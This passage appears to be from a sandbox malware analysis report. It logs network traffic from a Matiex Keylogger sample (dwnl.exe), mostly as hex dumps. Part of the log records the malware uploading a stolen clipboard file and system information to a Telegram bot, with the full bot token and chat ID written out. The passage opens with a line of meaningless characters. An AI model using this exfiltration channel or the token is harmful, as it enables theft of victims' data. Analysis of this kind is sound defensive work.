#RUex?&[y/\|H?;;pW~z~?W"\|~-lrJv/)Cr~kj,pc/1"(B?h,-MDpIIEz<m2Gqt:Nz(>_QF"hLzo{-}5%8}Z4It0?@w`iC
2021-09-13 04:32:14 UTC	7932	OUT	Data Raw: b2 0f ff ed dd 81 32 97 f0 df f5 95 17 80 56 82 14 d6 34 fd 00 06 02 30 9c 2e 4d 38 11 61 77 4e 7b 9e 6a 23 b1 10 19 87 e8 3f 69 f2 69 05 20 64 d2 6d b0 37 b7 5a 51 c3 a5 ca 9e 36 67 05 a5 08 40 ac cb 88 ec 99 c8 cb aa 18 93 c8 40 95 33 10 58 f9 04 a0 1d de 57 11 80 d8 2e fa 01 44 13 5a 11 80 3a 7d bf b0 a9 f4 2f 10 11 69 af 07 9a 00 1f 74 aa 90 a8 fe 27 23 9b 70 1c 88 b0 03 88 72 e3 7f 22 e8 30 2e e7 ea 48 28 4c 93 e6 b0 2a 00 ed 74 c8 2b 69 32 6b c7 65 38 dc a7 48 b7 c8 3e b1 8e 23 de aa 1d c2 f3 7f 48 89 a3 ce 35 52 6b ff e3 72 af 39 9a d2 d6 3a 5a 84 ee ec b6 7c 7d 44 98 59 29 86 a8 3a d9 cf 8f 2a 6e 06 9c 23 00 99 e0 39 88 0a 40 23 32 db d2 59 2a e6 82 e6 ce cc ed fc 17 57 45 cf 90 15 80 89 03 2e 33 fd 1f b6 fd b5 9d c6 f7 0b 7d f8 a1 f9 6f 7b 9c 0f Data Ascii: 2V40.M8awN{j#?ii dm7ZQ6g@@3XW.DZ:}/it'#pr"0.H(Lt+i2ke8H>#H5Rkr9:Z\|}DY):n#9@#2Y*WE.3}o{
2021-09-13 04:32:14 UTC	7948	OUT	Data Raw: c2 1a c1 97 0f fd b6 f8 04 82 d0 6e cf 8d 1c 74 a9 b4 00 54 f4 b7 55 05 a0 7e ef 62 08 7f 7b 0d 39 f2 0f d8 df 61 1f fc 47 0a f0 e5 5e 45 e8 77 5a d1 88 bf 7c e8 f7 bd 22 24 aa db 21 8c 04 44 33 de 78 20 f7 94 b8 f9 20 d1 8e 7f cf 3a f2 3b 8b 77 99 ff be 80 f0 cf 76 e1 f7 bf cb 1a 3a 61 e0 2a ba e6 f5 4d c4 9f 61 ba ff 13 a2 83 9e e4 bf 2b af eb cf 7f 13 0f a2 d4 e5 7d 29 71 49 8c 00 c4 78 3e 01 08 be b3 02 d0 15 7f 40 e5 9f 2b 01 5d 11 b6 b7 38 32 94 7f ae 00 0c c6 bf 6d 01 18 77 8c 2e 38 be ff 06 01 a8 12 30 58 f7 5f 27 00 41 b8 dd a8 c0 fb 57 08 40 91 74 2a f1 e2 24 5f 79 38 f2 0f b8 62 4f 71 f7 e5 ee 53 f9 6f 13 80 ee b8 1c cb bf 50 00 fa 12 b0 3c 01 08 76 4b 00 22 12 f0 bb 2a 00 9d e6 bf 10 80 1a 01 68 a2 ff 9e 13 f9 07 d0 df 9f a1 b1 e1 bb 22 00 21 Data Ascii: ntTU~b{9aG^EwZ\|"$!D3x :;wv:aMa+})qIx>@+]82mw.80X_'AW@t$_y8bOqSoP<vK"*h"!
2021-09-13 04:32:14 UTC	7964	OUT	Data Raw: 45 a3 40 dd 6b 27 e0 9e b8 b8 42 10 b8 52 b0 12 b8 d1 a3 60 4f e7 03 cd 44 1e 08 c0 dd 45 ff 53 24 1f 10 7e ee 70 8c 04 8c 9b a6 40 d2 55 16 08 2f 59 a7 be 5d d7 96 d2 0d 03 b6 1d 57 f2 71 61 19 48 47 6c 03 a5 8c db e3 11 19 a9 c3 f9 40 9f 88 e5 10 24 db f1 c6 91 90 07 02 32 d1 90 af 4d 23 fe cd 10 78 7b da cc 59 23 0c b1 1e d6 6f b8 dc 88 a7 c6 2b cd 74 48 46 88 c8 7a 18 e6 69 f5 57 f1 f1 22 62 70 15 a5 03 56 50 a6 91 8d 56 43 12 10 c9 0c cc cb a3 a9 31 fa 22 44 bf 80 8d 17 53 b6 29 ff ee 35 e2 df b4 86 f3 28 db 78 01 15 36 5d 44 45 cd 16 53 b5 56 cb a8 b8 19 8f 37 99 4b 05 0d bf a0 4c 83 4f 28 53 ef 43 ca 36 f8 27 15 35 fe 88 aa 36 fb 94 d2 f5 f9 f7 88 c9 36 f8 80 aa 36 fe 84 6a b7 9c 4d 47 76 5e 42 3f e8 bb 9e 4e 1b be 95 ce 9d 42 74 d6 64 a2 33 a6 32 Data Ascii: E@k'BR`ODES$~p@U/Y]WqaHGl@$2M#x{Y#o+tHFziW"bpVPVC1"DS)5(x6]DESV7KLO(SC6'5666jMGv^B?NBtd32
2021-09-13 04:32:14 UTC	7980	OUT	Data Raw: 1c ca 2d 55 ef 8d 48 ea d9 96 2a fa b2 d8 3b 71 10 b4 3a 61 20 54 b6 7d 38 45 c5 f1 0f 41 e5 71 31 34 5f 71 2c 15 1c e9 6f 84 de d1 34 6e 61 6f a8 3c a2 27 53 71 78 0f a8 38 b4 3b 23 a9 aa 2c ab e8 7a d3 75 e7 31 f5 e8 9e 58 48 80 51 0a 37 49 bb bd ad bc 23 71 47 ec 89 f7 59 d8 eb ce b8 dd 83 da bb f0 b9 b8 97 9f 05 1e 07 72 1f 23 86 63 6e 77 ad a4 8e 33 54 41 5a 90 42 32 45 2a 47 73 f5 68 96 85 f1 f3 e6 a3 05 a0 50 8e 08 14 12 cf a7 c6 09 40 92 d3 44 52 50 f3 35 25 a4 aa 70 13 45 60 96 00 d4 52 3b 25 00 45 02 72 14 eb c0 38 45 9d 45 e0 a0 38 22 30 24 02 7d 94 00 34 12 d0 a4 b3 c7 12 50 09 40 44 24 37 a5 92 37 16 1a cb 52 43 63 09 86 a2 02 35 4e 16 06 04 63 62 79 06 c1 75 fc fd 4a 2a b3 6e 79 3d 3a 46 af d5 eb 21 fa 58 8b e1 3e 8f b0 db 9a 7d a9 7e 82 d6 Data Ascii: -UH;q:a T}8EAq14_q,o4nao<'Sqx8;#,zu1XHQ7I#qGYr#cnw3TAZB2EGshP@DRP5%pE`R;%Er8EE8"0$}4P@D$77RCc5NcbyuJ*ny=:F!X>}~
2021-09-13 04:32:14 UTC	7996	OUT	Data Raw: 0a 62 90 cc d3 98 28 2e 4a ed b4 c7 b8 fd a5 0c 89 4b 2e 56 f2 1f 3c 17 4e b7 a5 54 5b 64 eb 73 0c 2e d5 f6 cc 24 12 81 c7 91 7a 78 5d 37 c5 6b fc 6f bc ee ff c2 fb f3 2f 12 b8 24 73 29 9d 9b 5a c5 a6 24 f9 08 12 7c 08 0b 5d 91 be 16 16 c1 d4 af 90 f5 85 12 f7 5a c4 6f 9a 2c 01 28 64 0b 40 96 80 81 e7 23 28 00 e9 59 29 85 b7 4d 42 00 d2 33 46 e3 4b aa 31 26 25 0a b0 b0 83 1e d3 2f 83 90 f4 d3 2c 43 01 c8 51 ae 48 79 02 30 2e 1a 92 10 80 82 88 3f 27 04 03 f2 8f 50 29 c0 0c 8d 69 c9 14 93 80 0a 11 80 5a 04 8a 04 64 f0 7b 4b 93 12 81 1d 62 3c 01 18 1d d2 b9 a8 08 cc 1d 4c 12 b0 3b e4 04 25 fb 1c a5 96 2b 12 62 d0 a5 12 17 a3 57 40 aa 21 01 d1 55 1c 91 6f 25 f0 e5 23 22 82 d2 8f 5a d4 f2 b2 18 b9 23 f1 1c 08 9a 66 fc 73 c9 10 7f 02 a7 e1 06 90 e5 fe fe 7c e8 Data Ascii: b(.JK.V<NT[ds.$zx]7ko/$s)Z$\|]Zo,(d@#(Y)MB3FK1&%/,CQHy0.?'P)iZd{Kb<L;%+bW@!Uo%#"Z#fs\|
2021-09-13 04:32:14 UTC	8012	OUT	Data Raw: 49 48 88 41 e9 5f 1b e1 a2 0f 16 4f 7a 51 6a 6f 9e a2 ff 10 12 38 26 ea 2f 89 c8 19 12 7c 5a d6 e8 c8 39 81 fa 29 c5 93 a6 49 84 50 84 1d 49 11 8a be 8b 36 36 51 78 c9 f6 48 5e 6e 52 6c e3 f5 b2 a2 f4 78 7e 7d 6c 29 e5 58 a4 93 3d 7e 82 a3 f6 d6 a5 6b 67 52 58 53 d7 4b 52 6a 05 92 6e 3e 32 1e 25 09 3d 1f 59 96 b5 3c 20 fd 7c 8a 09 40 79 0e f8 59 50 cf 47 ea 39 d1 cf 7c 23 68 bc 00 94 54 df 5f 05 60 10 7d 2c c8 52 13 80 96 9f 4c 00 5a 96 bd 00 14 62 01 98 4c fb b5 63 ff 85 64 5f 80 54 24 e0 4f 28 00 83 fb e0 74 e0 a6 a3 25 60 31 11 28 a4 24 60 28 65 58 c1 15 85 03 fd 8e 3d 4d 84 60 b9 e8 48 42 96 87 be dc cb 62 0f 5c 57 a0 79 11 50 a5 52 90 43 7d 09 bc 88 b7 96 80 44 1b 09 37 25 eb 64 de 47 a2 f6 08 8a 2a d4 d1 78 44 3c 7f 37 e3 1f 7f 48 aa 69 82 d1 7b 7b Data Ascii: IHA_OzQjo8&/\|Z9)IPI66QxH^nRlx~}l)X=~kgRXSKRjn>2%=Y< \|@yYPG9\|#hT_`},RLZbLcd_T$O(t%`1($`(eX=M`HBb\WyPRC}D7%dG*xD<7Hi{{
2021-09-13 04:32:14 UTC	8028	OUT	Data Raw: 26 da 9c 97 fb 76 c4 79 80 df 9f 3e 63 ba 59 60 ba 39 9d 07 91 ea 2e 3b 33 76 5e a3 cf 17 7d 8e f0 f6 a2 e0 2b a5 0b fa 9c 99 85 21 02 d0 2e d3 f0 f1 51 df 83 a1 fd 9c 45 00 82 ec b7 1d c2 ac c2 cf d2 7b fe ef 9d 91 24 a0 23 c5 12 ae b0 23 bc bc 43 f0 ca b2 78 eb 2d 2b 51 24 2a f9 b7 26 00 87 73 73 12 80 5a 02 ae 1a 01 b8 dd e3 67 47 0b 40 8d 11 80 d3 1d 4e 4f 78 69 9c 3e 33 be 3c 14 3c 89 a8 a9 1e 7e 66 46 88 4a 6c b0 cb db 84 be 0a bb 48 02 d0 08 c5 10 25 48 fb 11 99 ec 44 fb ac 79 f8 19 cd d4 b2 23 7d 77 86 96 77 21 22 53 a3 f6 61 8c 00 d4 e2 af 2d 00 89 d4 2c 19 18 01 48 0f 9c ba 5f c2 46 00 9a 87 d2 0e 74 3f 36 0d 8e 14 ec 91 86 09 ee 37 07 0f d1 23 e8 13 80 04 fe 5b 5f ed fd cc 7a 69 9f 20 02 41 5b 00 46 20 00 0b 12 90 f3 7b d2 4f e3 89 bc 59 29 09 Data Ascii: &vy>cY`9.;3v^}+!.QE{$##Cx-+Q$*&ssZgG@NOxi>3<<~fFJlH%HDy#}ww!"Sa-,H_Ft?67#[_zi A[F {OY)
2021-09-13 04:32:14 UTC	8044	OUT	Data Raw: 28 01 28 12 50 cb 3f 61 88 00 14 09 b8 50 01 e8 49 c0 45 09 40 89 c6 d1 02 10 2f ed 31 02 d0 15 80 32 8a 27 4b c0 28 f5 a4 6f 3f e0 08 be 94 2f 62 97 5b 5c a9 47 74 0a c0 d8 07 21 e3 08 40 2d 01 45 04 96 04 20 b0 91 80 7d 02 50 a3 65 a0 08 40 91 7f 2c 00 53 bf 6a 6d e1 07 d1 27 e9 76 d9 f4 bc 7f 61 38 7a 50 fa 11 d4 11 82 44 92 7f 04 3e 0b 3a 32 30 f5 2b 98 f5 2f 08 a2 40 02 32 fa ab 27 02 59 10 36 02 50 4b 40 d0 92 7f 92 16 65 1f 7f ee 90 80 56 f0 0d 61 8c 04 64 e1 e6 a4 5b a4 2c e9 23 b1 6b aa f3 cf 33 15 aa 8b 69 7a 51 88 f4 0b 91 7d ff 4e c7 39 4a 3f 1c 77 16 b8 f8 2d 1c 29 8c 73 e5 fc 78 ee c4 73 b0 39 3f c3 e0 1d 02 8f 8a 2d c2 9b cf fd 30 c8 4e ba 6e e2 f5 c8 d7 25 5d bb d5 29 74 dd 9f f4 a1 50 47 3c ee 4f 39 6a 98 07 11 42 dd c1 d1 7e 7f 5c 57 27 Data Ascii: ((P?aPIE@/12'K(o?/b[\Gt!@-E }Pe@,Sjm'va8zPD>:20+/@2'Y6PK@eVad[,#k3izQ}N9J?w-)sxs9?-0Nn%])tPG<O9jB~\W'
2021-09-13 04:32:14 UTC	8060	OUT	Data Raw: 27 f5 c6 30 ab 60 4a 42 49 e1 8a a2 01 79 34 5e fe 2c 0d db d7 fb 6c 71 f6 d3 a6 25 bc f5 97 0b 6f fb c0 cb 5b c2 5b bf 8f b8 5e fa bd ec 72 07 f9 5d ed 6f a3 99 6c 2c 02 50 0b be a1 6c 4c 02 f0 fe 87 05 8a 12 d0 17 7c 7d 2c 4a 00 02 2d ff 80 4e eb 93 78 56 f8 59 bc 75 46 e1 48 3f 8d 88 bd 4c 00 7a 74 08 40 4f 02 36 e9 b9 f8 13 44 f0 95 d2 85 21 02 30 93 80 eb 49 00 b6 c1 c3 79 78 40 cf d0 0f e7 44 f6 e0 4e 6c 74 02 70 c4 36 f5 8b 5a c2 13 80 4a 02 8a 00 14 09 28 02 b0 11 81 b9 f8 13 ac b4 6b 61 04 a0 9b 07 a0 2c a7 bc b4 9e 74 52 ef c9 bd 21 18 01 28 12 70 b4 00 04 51 00 ba 91 80 12 0d 28 2f f6 04 04 60 e8 b3 ab 83 42 24 a0 87 27 00 59 3e 28 09 98 c9 3f 44 25 69 01 78 74 88 66 82 00 ac 8e c9 c5 df d2 f1 ef 48 88 fc 63 e1 27 7d 08 4a 3f 82 90 25 3c 08 42 Data Ascii: '0`JBIy4^,lq%o[[^r]ol,PlL\|},J-NxVYuFH?Lzt@O6D!0Iyx@DNltp6ZJ(ka,tR!(pQ(/`B$'Y>(?D%ixtfHc'}J?%<B
2021-09-13 04:32:14 UTC	8076	OUT	Data Raw: b1 3f 40 1d 0d 08 a1 02 b1 22 02 30 0a 1a c6 13 80 8f c2 08 c1 b9 00 f4 24 a0 a4 27 86 0a c0 c3 29 1f b0 22 50 cb 3f 90 8d 1c 0c 44 58 b5 d1 82 af 0f 2d c3 18 4f 98 09 6e 1e 4f ea 8d 41 95 6b 51 db 59 b4 f8 63 9c 63 97 8e 73 3c ee b9 fc a3 df 05 d1 7e 51 fe e1 7c 28 8a 3f 3d 52 ef 00 01 e8 49 3f 8d 34 6d 97 88 bf 24 ba 63 e4 5f 13 2d 9b 4b f3 24 fe 08 96 f0 5a fe 81 01 02 50 d7 31 2c fe 4a f5 1f a3 ea 4c 42 cb 3f ae c7 ed a0 15 5c 0f e7 62 6f 38 e7 a9 7b 01 ee 25 ea be 62 45 56 bc 5f 0e 17 7b 43 51 32 cc 8e 80 6b 04 20 98 57 00 6a f9 e7 46 fa ab ef 5e a4 6f 9d 1d b1 ad 20 fe ec fe b7 f1 8e c9 00 e4 b9 87 9f ad 9a e7 2d 48 3e 7e 26 8b 68 f9 67 05 e0 f4 21 94 47 8b 3b e0 c9 bd 21 e8 32 9a a6 bf 26 fa ef db af 0f 9f bf ff 5e 16 80 88 02 fc e9 a7 ce 4c cd 80 Data Ascii: ?@"0$')"P?DX-OnOAkQYccs<~Q\|(?=RI?4m$c_-K$ZP1,JLB?\bo8{%bEV_{CQ2k WjF^o -H>~&hg!G;!2&^L
2021-09-13 04:32:14 UTC	8092	OUT	Data Raw: cb 4a 4c 96 a5 32 8f c9 3f 01 64 1f 27 cc 0e 9c 90 80 07 54 fe 09 5c c4 1d 15 54 fe 09 28 ed 88 f8 53 30 5d 0d 54 cc 6d 13 2a ff 04 2e f4 22 0b 08 40 01 85 de 18 56 fe e9 32 16 d4 95 b0 02 50 c8 82 cf 06 bc c0 23 cb c7 28 09 40 2b 01 13 f9 27 cc 14 80 11 37 58 49 88 eb f2 e0 3d 41 05 60 41 02 fa 41 d0 b5 83 04 b4 a2 8f 2d 13 e2 25 44 58 c7 12 a6 ee 1b 15 80 28 f7 6a b1 65 b4 80 83 de 39 e0 0c 42 32 8b 70 4c 00 26 5c 7f 73 36 a8 df 84 00 cc f2 45 e9 30 43 00 c6 f5 a9 bc f0 9c 74 65 0b 76 b9 80 d2 23 02 db 02 54 a4 a0 00 54 bc 84 69 11 80 64 3d 13 7b b5 02 d0 6f 9f ca 3e 46 be 6d c1 cf 34 2b 09 40 11 54 22 b9 84 28 c5 ac c0 1b 48 a5 1a 27 a6 7f e6 2b 27 24 de 9a 64 f5 9e c7 98 fc b3 97 ed 56 13 67 62 c2 b1 61 10 f9 67 05 60 76 fc 79 8c f0 93 63 15 2f f5 25 Data Ascii: JL2?d'T\T(S0]Tm*."@V2P#(@+'7XI=A`AA-%DX(je9B2pL&\s6E0Ctev#TTid={o>Fm4+@T"(H'+'$dVgbag`vyc/%
2021-09-13 04:32:14 UTC	8108	OUT	Data Raw: 7f c2 5e 00 1a b8 04 1b 60 79 96 60 dd f2 5b f2 6b da 3a 72 a9 d5 82 15 5a 4c 7a b5 60 cb 9b 04 a4 9e 95 7c fa 19 d1 75 4b 61 eb c3 f6 09 b1 e9 ad 00 b4 12 30 11 72 41 ca 35 61 f3 97 60 e9 dd 67 26 ed 96 84 4a bd 16 f6 02 70 16 6c db b5 60 7b 58 39 b7 36 4c 00 0a 90 e6 38 0b 40 a5 94 d6 2f 93 4b 83 61 fd 18 4c fa 21 99 b4 9b 8b c8 ba d2 f2 b5 e0 c1 46 35 44 f2 8d 71 dc 04 e0 89 47 8e 07 c9 7d 90 b8 06 18 7c 32 42 a0 be 39 d2 c0 98 a1 c1 b2 25 0a 40 c5 2d b3 64 c2 cf b2 17 80 14 3b 30 2d c2 06 b5 0d 30 c1 37 45 52 46 22 e3 ea 48 06 f0 64 7d 1b 1b 16 80 8f 77 e9 05 58 96 08 18 58 4e 31 79 85 24 3f 13 4d 2d 18 29 25 a0 98 8a e9 9e f0 ad 39 58 4e 03 a9 04 4c 85 57 1b 79 dd 9b 21 f5 f3 e8 3e d6 e4 a9 49 a3 98 74 43 5b f3 d9 85 28 ff fc f7 21 4f df 85 d9 7f 78 Data Ascii: ^`y`[k:rZLz`\|uKa0rA5a`g&Jpl`{X96L8@/KaL!F5DqG}\|2B9%@-d;0-07ERF"Hd}wXXN1y$?M-)%9XNLWy!>ItC[(!Ox
2021-09-13 04:32:14 UTC	8124	OUT	Data Raw: df f8 c6 5c 28 91 3a ae 83 95 a9 35 48 7b 5b 91 f7 55 6f 7a 41 50 70 5d f7 cf 7f f1 bd 71 b9 bc d7 bf 93 af fa a6 24 8f 20 7f 4c ea 29 53 eb 05 fc 3b f3 c2 47 36 7d bf 0a 6b df 4d b4 b7 a0 db 42 0e ce ef f1 12 f0 82 6b 8d 14 64 f0 19 83 8a 2c 1b 24 1e bc 4f 1e f2 71 6d 7c af e5 c6 a7 0f 07 b4 1c fb ea e5 e4 85 41 52 8e bc 8a 08 1c 63 75 d1 f5 11 f9 2c 79 22 b1 ce 0e 5c ee d0 fc 76 79 c6 05 d7 8f c3 a4 1e c2 a4 62 25 87 0f 71 e5 53 29 55 0f 93 94 9b 62 e5 02 9e 56 58 39 73 60 fb de c2 e1 43 45 ee 49 d0 66 d7 0d c1 1c 13 7c ad d8 9b 44 4f 41 83 1a 40 82 84 6c b9 06 45 0e 56 87 16 4a e5 8e 02 79 b2 80 a6 11 1a d4 6c 98 24 d0 62 41 2d 80 41 30 63 4c 0e f6 c0 80 ca e2 05 e0 70 5f a6 79 f4 83 be b9 e8 00 72 5d b2 b2 64 66 8a 43 06 a9 08 97 78 23 d8 f4 08 4b df Data Ascii: \(:5H{[UozAPp]q$ L)S;G6}kMBkd,$Oqm\|ARcu,y"\vyb%qS)UbVX9s`CEIf\|DOA@lEVJyl$bA-A0cLp_yr]dfCx#K
2021-09-13 04:32:14 UTC	8140	OUT	Data Raw: 50 c6 9d ea 78 e1 67 21 e7 af 26 54 f0 15 d0 f3 34 3b 8f 0b d8 27 cd 83 f7 91 d5 18 01 d8 2a 01 69 99 63 ec 98 00 64 b1 51 0b 18 db 51 58 5c d8 c2 44 59 2c ae de 14 3a 1e 58 67 5c 60 cb a0 72 af 86 92 00 4c 24 e0 50 47 d6 76 1e 68 df da ef 37 59 af b1 b2 c8 34 13 2f c7 75 6b 80 e5 ad 4b 56 fe ae 08 c0 4c 2a 58 69 71 8e 3c 05 f8 e2 5e ca bc e0 4e 2f 3f f4 cf 3f 95 35 91 54 c3 df 5d b7 ff cd fe 61 20 fa 14 d5 1b 4e f7 0f eb f0 b3 c9 dc 76 e5 35 3e 01 36 ac 1b 9e 5a 8b 7f 77 77 b7 3c 45 a4 96 08 32 94 58 f2 20 07 91 61 f2 10 11 b9 6c b4 17 3c a9 d0 11 49 84 7f 50 96 c8 1b b9 84 73 29 a1 25 33 09 b3 ba bb 76 b8 cd 05 6b 32 db 4f c4 96 69 bf 3b 5e 00 75 91 7d 77 af fe be 74 3a 6b 4f d6 39 e4 5e 89 5e 42 85 cf 51 92 ca a5 bd 22 c6 1c 7d be db bb 93 f2 3d c5 07 Data Ascii: Pxg!&T4;'icdQQX\DY,:Xg\`rL$PGvh7Y4/ukKVLXiq<^N/??5T]a Nv5>6Zww<E2X al<IPs)%3vk2Oi;^u}wt:kO9^^BQ"}=
2021-09-13 04:32:14 UTC	8156	OUT	Data Raw: ba f3 bf 39 9b b8 79 e3 30 cd e7 f3 66 42 dd f9 1c 10 e3 a6 a3 6d 6e 5a ae f9 c6 eb d7 de 08 3e 37 29 6c 06 9b c4 66 9d 96 df 6c 6e 9a 90 fd 86 0e 1b 64 9a be 8c 41 ef 37 66 da 8d 3b cb af 2f fd 6e 36 01 1b 46 62 6c 1b 47 8c 71 d6 40 6a 4b ff 1a ac 6b 9e e3 b0 5e 6e 98 dd 48 4b 06 a6 4f 3f 52 e2 6f 22 fb 46 1d 7b 12 80 e6 4e 3a e3 a0 af 90 3e 29 c7 e6 be 11 5a 63 ec 2c 25 0f d0 05 b6 24 02 24 1b 80 7a fa fb 1a 7d 3d 6d 99 5f c5 67 8c e3 cb 18 6c f6 65 ff bd 2e 68 67 0d 6c cb 36 75 1a 7a c2 a5 f7 a5 9e 84 0e a0 2d d9 03 92 cc d1 66 5c 9f 83 4e 7c fa 80 79 59 27 49 20 da e6 f4 71 da 21 98 d4 91 22 6b e5 58 cd 37 5e bf 76 09 2b 24 b6 49 52 8f b8 d1 2e 71 a7 2d 75 c8 3b 74 81 cd 5f 09 96 d8 33 06 5d d2 0f 3d 73 8c 83 ec 9b fc 33 d1 b7 7d e2 8f b1 f3 94 62 f3 Data Ascii: 9y0fBmnZ>7)lflndA7f;/n6FblGq@jKk^nHKO?Ro"F{N:>)Zc,%$$z}=m_gle.hgl6uz-f\N\|yY'I q!"kX7^v+$IR.q-u;t_3]=s3}b
2021-09-13 04:32:14 UTC	8172	OUT	Data Raw: 6f f1 2b c0 09 93 7a dd e2 62 ed 45 fc 21 2f eb 02 4f 28 3a d2 be 90 40 bf 3a be 6a d3 5a e1 f5 af 7f fd f0 75 5f f7 75 c3 2d b7 dc 32 11 79 cf 7d ee 73 0f 22 01 89 21 96 1c 72 a9 41 ad 2a f6 2c 4c 24 52 41 00 ae 11 46 c4 3f fb d5 6f 98 08 a6 cd d3 3d 2b 04 e2 c6 3f 62 95 34 3b 90 ac 5a af 57 93 63 fb 73 2a b4 3a 53 6c 1c 4f ff 77 f9 f6 d6 90 b8 5b 89 dd 37 9e 45 3f 10 7f 8b 27 12 0f 3d 46 cf d9 89 00 3c e1 f6 01 e4 1e 4f f8 6d 3f 93 5b 60 bf 28 f9 07 9c 83 9d 77 a7 b9 77 5e 40 b2 9d f3 34 3a 70 11 44 9f e6 eb 79 83 e1 06 02 e9 06 63 8a 9b 37 1c 48 5e c6 81 69 01 9c 7d 00 df b4 1e 44 ad dc 10 ed ea c4 bb 29 1b d7 b3 d1 ee 26 ce 58 65 db 60 b5 18 6c c0 f6 8d 2f ff 37 3b 24 e0 8d 2f fa fe e1 23 fe e8 33 a7 cd 60 e6 42 18 de e9 73 ff c7 e1 c6 af fb 99 29 ce Data Ascii: o+zbE!/O(:@:jZu_u-2y}s"!rA,L$RAF?o=+?b4;ZWcs:SlOw[7E?'=F<Om?[`(ww^@4:pDyc7H^i}D)&Xe`l/7;$/#3`Bs)
2021-09-13 04:32:14 UTC	8182	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:14 GMT Content-Type: application/json Content-Length: 1313 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:14 UTC	8183	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 32 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 34 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":322,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507534,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.5	49829	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:15 UTC	8184	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768039fd19a5 Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:15 UTC	8184	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 39 66 64 31 39 61 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 43 6c 69 70 62 6f 61 72 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 43 6c 69 70 62 6f 61 72 64 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d9768039fd19a5Content-Disposition: form-data; name="document"; filename="MatiexClipboard.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Clipboard *\ \| System Information \| Comp
2021-09-13 04:32:15 UTC	8185	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:15 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:15 UTC	8186	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 32 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 35 2c 22 64 6f Data Ascii: 